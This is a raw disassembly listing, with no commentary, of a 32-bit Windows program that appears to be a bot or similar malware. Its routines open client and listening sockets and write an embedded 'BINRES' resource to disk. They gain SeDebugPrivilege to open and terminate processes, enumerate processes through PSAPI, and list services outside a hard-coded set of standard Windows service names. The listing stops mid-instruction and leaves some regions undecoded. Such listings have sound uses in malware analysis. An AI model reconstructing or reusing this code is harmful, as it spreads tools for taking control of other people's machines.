loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E068 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CDFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50BB58, ecx push 100h mov ecx, offset byte_44793F call sub_4017E4 push eax lea eax, [esp+118h+var_100] push eax call near ptr 77C47A90h nop add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401956 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 2A60000h xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C30j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx nop call near ptr 29F1D0Eh mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 29005B5h mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi nop call near ptr 2900B01h push edi push esi mov ebp, eax call near ptr 2910000h nop push ebp mov esi, eax nop call near ptr 2910364h push ebx push esi push 1 push eax call near ptr 77C4173Bh nop push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40187Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401A8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40187F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40197Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FEC0 push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_4015FAj var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_436840 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_436FC0 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_50F874 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_436FBA ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_436FB4 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h dd 500D75C0h, 0FF96E856h, 0C6900245h, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi nop call near ptr 29B0989h loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_4019FBj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401861 push eax mov [esp+464h+var_4], 0 call sub_401E8D add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_401424 push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_401681 push eax push 80000002h nop call near ptr 2AA01C7h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 2A50000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_50F9AC mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_443AF4 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 nop call near ptr 760976AFh lea ecx, [esp+4A4h+var_490] call near ptr 7608B84Ch nop push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 2540596h, 14244C8Dh dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401E8Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2A70935h nop mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push ebx call near ptr 2A102EFh nop mov esi, eax test esi, esi jnz short loc_420350 push ebx nop call near ptr 2A8036Ch pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_50F740 push esi call edi push esi call edi mov ebp, dword_50F73C lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_50F74C call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018A7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h call near ptr 28F0A9Bh nop push eax nop call near ptr 2A316F5h mov ebp, dword_50F718 mov edi, dword_50F8D8 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 28F0AD0h push eax call near ptr 2A31C94h nop test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 2A40000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 call near ptr 2930847h nop cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h call near ptr 2900000h nop mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi nop call near ptr 2880000h push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_436840 push esi push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 29F1D0Eh test eax, eax mov dword_50BB60, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 2950856h test eax, eax mov dword_50BB60, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_50F8A0 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50BB64, eax mov eax, dword_50BB60 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50BB60 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50BB68, eax call esi mov ecx, dword_50BB64 mov dword_50BB6C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50BB68 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_50F874 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50BB68 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50BB6C lea ecx, [esp+74h+var_54] call sub_401866 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015D7 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402167 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A6E loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 29B0989h loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401866j push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A6Ej jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402144j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx call near ptr 2A70935h nop mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44432C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset aNla ; "Nla" mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_401424 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_50F710 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx nop call near ptr 77C2C407h add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_50F75C loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_401681 push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 2A50000h cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014C9 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp call near ptr 2A8036Ch nop lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 29F1D0Eh push eax nop call near ptr 29F12A3h mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, 